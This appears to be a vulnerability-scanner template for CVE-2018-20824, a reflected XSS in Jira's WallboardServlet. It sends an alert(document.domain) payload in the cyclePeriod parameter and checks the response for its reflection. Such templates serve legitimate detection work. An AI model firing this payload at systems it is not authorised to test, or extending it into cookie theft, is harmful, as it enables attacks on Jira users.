id: CVE-2018-20824 info: name: Atlassian Jira WallboardServlet XSS author: madrobot,dwisiswant0 severity: medium description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter. tags: cve,cve2018,atlassian,jira,xss classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.10 cve-id: CVE-2018-20824 cwe-id: CWE-79 reference: - https://jira.atlassian.com/browse/JRASERVER-69238 requests: - method: GET path: - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - (?mi)timeout:\salert\(document\.domain\) part: body